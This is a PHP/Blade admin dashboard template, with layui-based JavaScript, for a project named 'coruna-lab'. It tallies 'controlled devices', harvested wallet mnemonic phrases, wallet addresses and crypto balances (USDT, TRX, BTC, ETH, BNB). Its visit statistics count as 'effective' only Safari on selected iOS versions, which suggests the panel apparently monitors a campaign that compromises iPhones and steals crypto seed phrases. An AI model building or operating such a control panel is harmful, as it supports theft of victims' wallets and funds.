Files
coruna-lab/resources/views/admin/dashboard/index.blade.php
T
2026-09-12 03:42:48 +08:00

377 lines
13 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
@extends('admin.content')
@section('title', '仪表盘')
@section('content')
@php $portal = $portal ?? 'admin'; @endphp
<style>
.dash-grid { display: grid; gap: 12px; margin-bottom: 12px; }
.dash-grid-5 { grid-template-columns: repeat(5, minmax(0, 1fr)); }
.dash-grid-2 { grid-template-columns: repeat(2, minmax(0, 1fr)); }
@media screen and (max-width: 992px) {
.dash-grid-5 { grid-template-columns: repeat(2, minmax(0, 1fr)); }
.dash-grid-2 { grid-template-columns: 1fr; }
}
.dash-tile {
background: #fff;
border: 1px solid #f0f0f0;
border-radius: 2px;
min-height: 108px;
display: flex;
flex-direction: column;
}
.dash-tile-hd {
padding: 10px 14px 0;
font-size: 13px;
color: #666;
line-height: 1.4;
}
.dash-tile-bd {
padding: 8px 14px 12px;
flex: 1;
display: flex;
flex-direction: column;
justify-content: center;
}
.dash-metric { font-size: 26px; line-height: 1.25; color: #333; word-break: break-all; }
.dash-metric-hl { color: #009688; font-weight: 600; }
.dash-metric-sep { color: #bbb; margin: 0 4px; font-weight: 400; }
.dash-metric-total { color: #333; }
.dash-metric-caption {
display: block;
margin-top: 6px;
font-size: 12px;
line-height: 1.3;
color: #999;
font-weight: 400;
}
.dash-section-label {
margin: 4px 0 8px;
font-size: 13px;
color: #999;
}
.dash-filter .layui-form-item { margin-bottom: 0; }
.dash-filter .layui-inline {
margin-right: 10px;
margin-bottom: 0;
}
.dash-filter .layui-form-label {
width: 72px;
padding: 9px 10px 9px 0;
text-align: left;
box-sizing: border-box;
}
.dash-filter .layui-input-block {
margin-left: 72px;
min-height: 36px;
}
.dash-filter .dash-date-input {
width: 210px;
}
.dash-filter .dash-date-shortcuts {
margin-left: 0;
margin-right: 4px;
}
.dash-filter .dash-date-shortcuts .layui-btn {
margin: 0 4px 0 0;
height: 36px;
line-height: 36px;
padding: 0 12px;
}
.dash-filter .dash-channel-block {
width: 170px;
min-width: 170px !important;
}
.dash-filter .dash-agent-block {
width: 150px;
min-width: 150px !important;
}
</style>
<div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto dash-filter" lay-filter="LAY-dash-search">
<div class="layui-form-item">
<div class="layui-inline">
<label class="layui-form-label">时间</label>
<div class="layui-input-block dash-date-input">
<input type="text" name="date_range" id="LAY-dash-date-range" placeholder="开始日期 - 结束日期" autocomplete="off" class="layui-input">
</div>
</div>
<div class="layui-inline dash-date-shortcuts">
<button type="button" class="layui-btn layui-btn-primary" data-range="today">今日</button>
<button type="button" class="layui-btn layui-btn-primary" data-range="yesterday">昨日</button>
<button type="button" class="layui-btn layui-btn-primary" data-range="7d">近 7 天</button>
<button type="button" class="layui-btn layui-btn-primary" data-range="month">本月</button>
</div>
@include('admin.partials.filter_channel_select', ['channelBlockClass' => 'dash-channel-block'])
@include('admin.partials.filter_agent_select', ['agentBlockClass' => 'dash-agent-block'])
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-dash-search">查询</button>
</div>
</div>
</form>
<div class="layui-card-body">
<div class="dash-section-label">设备与资产</div>
<div class="dash-grid dash-grid-5">
<div class="dash-tile">
<div class="dash-tile-hd">总设备数</div>
<div class="dash-tile-bd">
<div class="dash-metric" id="dash-total">—</div>
<span class="dash-metric-caption">有钱包设备/总设备(区间内新增)</span>
</div>
</div>
<div class="dash-tile">
<div class="dash-tile-hd">新增设备</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-new">—</div>
</div>
</div>
<div class="dash-tile">
<div class="dash-tile-hd">活跃设备</div>
<div class="dash-tile-bd">
<div class="dash-metric" id="dash-active">—</div>
</div>
</div>
<div class="dash-tile">
<div class="dash-tile-hd">助记词</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-mnemonics">—</div>
</div>
</div>
<div class="dash-tile">
<div class="dash-tile-hd">钱包地址</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-addresses">—</div>
</div>
</div>
</div>
<div class="dash-section-label">总余额<span style="margin-left:8px;font-size:12px;">区间内新增地址</span></div>
<div class="dash-grid dash-grid-5">
<div class="dash-tile">
<div class="dash-tile-hd">USDT</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-bal-usdt">—</div>
</div>
</div>
<div class="dash-tile">
<div class="dash-tile-hd">TRX</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-bal-trx">—</div>
</div>
</div>
<div class="dash-tile">
<div class="dash-tile-hd">BTC</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-bal-btc">—</div>
</div>
</div>
<div class="dash-tile">
<div class="dash-tile-hd">ETH</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-bal-eth">—</div>
</div>
</div>
<div class="dash-tile">
<div class="dash-tile-hd">BNB</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-bal-bnb">—</div>
</div>
</div>
</div>
<div class="dash-section-label">页面访问<span style="margin-left:8px;font-size:12px;">有效口径:iOS 13–17.2.1 / 18.1.1 / 18.4 / 18.4.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 / 18.7 / 18.7.1 / 18.7.2 且 Safari,不含 15.8.8 / 16.7.10+(左侧高亮)</span></div>
<div class="dash-grid dash-grid-2">
<div class="dash-tile">
<div class="dash-tile-hd">页面 PV</div>
<div class="dash-tile-bd">
<div class="dash-metric" id="dash-pv">—</div>
<span class="dash-metric-caption">有效 PV/总 PV</span>
</div>
</div>
<div class="dash-tile">
<div class="dash-tile-hd">页面 UV</div>
<div class="dash-tile-bd">
<div class="dash-metric" id="dash-uv">—</div>
<span class="dash-metric-caption">有效 UV/总 UV</span>
</div>
</div>
</div>
<div class="layui-row layui-col-space15" style="margin-top:4px;">
<div class="layui-col-md4">
<div class="layui-card">
<div class="layui-card-header">访问 · 按系统(UV / 占比)</div>
<div class="layui-card-body">
<table class="layui-table" lay-size="sm">
<thead><tr><th>系统</th><th>UV</th><th>占比</th></tr></thead>
<tbody id="dash-by-os"><tr><td colspan="3">—</td></tr></tbody>
</table>
</div>
</div>
</div>
<div class="layui-col-md4">
<div class="layui-card">
<div class="layui-card-header">访问 · 按 iOS 版本(UV / 占比)</div>
<div class="layui-card-body">
<table class="layui-table" lay-size="sm">
<thead><tr><th>版本</th><th>UV</th><th>占比</th></tr></thead>
<tbody id="dash-by-ios-version"><tr><td colspan="3">—</td></tr></tbody>
</table>
</div>
</div>
</div>
<div class="layui-col-md4">
<div class="layui-card">
<div class="layui-card-header">受控设备 · 系统版本分布</div>
<div class="layui-card-body">
<table class="layui-table" lay-size="sm">
<thead><tr><th>版本</th><th>设备数</th><th>占比</th></tr></thead>
<tbody id="dash-by-device-ios"><tr><td colspan="3">—</td></tr></tbody>
</table>
</div>
</div>
</div>
</div>
<div class="layui-word-aux" id="dash-range" style="margin-top:8px;"></div>
</div>
</div>
@endsection
@push('scripts')
<script>
layui.use(['form', 'laydate', 'layer'], function () {
var form = layui.form;
var laydate = layui.laydate;
var layer = layui.layer;
var $ = layui.$;
var dataUrl = @json(route(($portal ?? 'admin').'.dashboard.data'));
function pad(n) { return n < 10 ? '0' + n : '' + n; }
function fmtDate(d) {
return d.getFullYear() + '-' + pad(d.getMonth() + 1) + '-' + pad(d.getDate());
}
function rangeOf(kind) {
var today = new Date();
today.setHours(0, 0, 0, 0);
if (kind === 'today') {
return fmtDate(today) + ' - ' + fmtDate(today);
}
if (kind === 'yesterday') {
var y = new Date(today);
y.setDate(y.getDate() - 1);
return fmtDate(y) + ' - ' + fmtDate(y);
}
if (kind === '7d') {
var from7 = new Date(today);
from7.setDate(today.getDate() - 6);
return fmtDate(from7) + ' - ' + fmtDate(today);
}
if (kind === 'month') {
var from = new Date(today.getFullYear(), today.getMonth(), 1);
return fmtDate(from) + ' - ' + fmtDate(today);
}
return fmtDate(today) + ' - ' + fmtDate(today);
}
var initialRange = rangeOf('today');
$('#LAY-dash-date-range').val(initialRange);
laydate.render({
elem: '#LAY-dash-date-range',
type: 'date',
range: true,
value: initialRange,
done: function (value) {
if (value) $('#LAY-dash-date-range').val(value);
}
});
function parseRange(value) {
var m = String(value || '').match(/^(\d{4}-\d{2}-\d{2})\s*-\s*(\d{4}-\d{2}-\d{2})$/);
if (!m) return null;
return { date_from: m[1], date_to: m[2], date_range: m[1] + ' - ' + m[2] };
}
function currentWhere() {
var field = form.val('LAY-dash-search') || {};
var parsed = parseRange(field.date_range || $('#LAY-dash-date-range').val());
if (!parsed) return null;
var where = Object.assign({}, field, parsed);
delete where.range;
return where;
}
function fillRows(sel, rows) {
var html = '';
(rows || []).forEach(function (r) {
var pct = (r.pct === undefined || r.pct === null) ? '—' : (r.pct + '%');
html += '<tr><td>' + (r.label || '—') + '</td><td>' + r.uv + '</td><td>' + pct + '</td></tr>';
});
$(sel).html(html || '<tr><td colspan="3">暂无</td></tr>');
}
function fillDeviceVersionRows(sel, rows) {
var html = '';
(rows || []).forEach(function (r) {
var pct = (r.pct === undefined || r.pct === null) ? '—' : (r.pct + '%');
html += '<tr><td>' + (r.label || '—') + '</td><td>' + r.count + '</td><td>' + pct + '</td></tr>';
});
$(sel).html(html || '<tr><td colspan="3">暂无</td></tr>');
}
function ratioHtml(effective, total) {
return '<span class="dash-metric-hl">' + effective + '</span>' +
'<span class="dash-metric-sep">/</span>' +
'<span class="dash-metric-total">' + total + '</span>';
}
function load(where) {
$.getJSON(dataUrl, where || parseRange(initialRange), function (res) {
if (!res || res.code !== 0) return;
$('#dash-total').html(ratioHtml(res.data.wallet_count || 0, res.data.total || 0));
$('#dash-new').text(res.data.new_count);
$('#dash-active').text(res.data.active_count);
$('#dash-mnemonics').text(res.data.mnemonic_count || 0);
$('#dash-addresses').text(res.data.address_count || 0);
$('#dash-pv').html(ratioHtml(res.data.effective_pv || 0, res.data.pv || 0));
$('#dash-uv').html(ratioHtml(res.data.effective_uv || 0, res.data.uv || 0));
var bal = res.data.balances || {};
['usdt', 'trx', 'btc', 'eth', 'bnb'].forEach(function (c) {
$('#dash-bal-' + c).text(bal[c] != null && bal[c] !== '' ? bal[c] : '0');
});
fillRows('#dash-by-os', res.data.by_os);
fillRows('#dash-by-ios-version', res.data.by_ios_version);
fillDeviceVersionRows('#dash-by-device-ios', res.data.by_device_ios_version);
$('#dash-range').text('统计区间:' + res.data.from + ' ~ ' + res.data.to);
});
}
function applyRangeAndQuery(rangeText) {
$('#LAY-dash-date-range').val(rangeText);
var where = currentWhere();
if (!where) {
layer.msg('请选择有效的时间范围');
return;
}
load(where);
}
$('.dash-date-shortcuts').on('click', '[data-range]', function () {
applyRangeAndQuery(rangeOf($(this).data('range')));
});
form.on('submit(LAY-dash-search)', function () {
var where = currentWhere();
if (!where) {
layer.msg('请选择有效的时间范围');
return false;
}
load(where);
return false;
});
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
load(parseRange(initialRange));
});
</script>
@endpush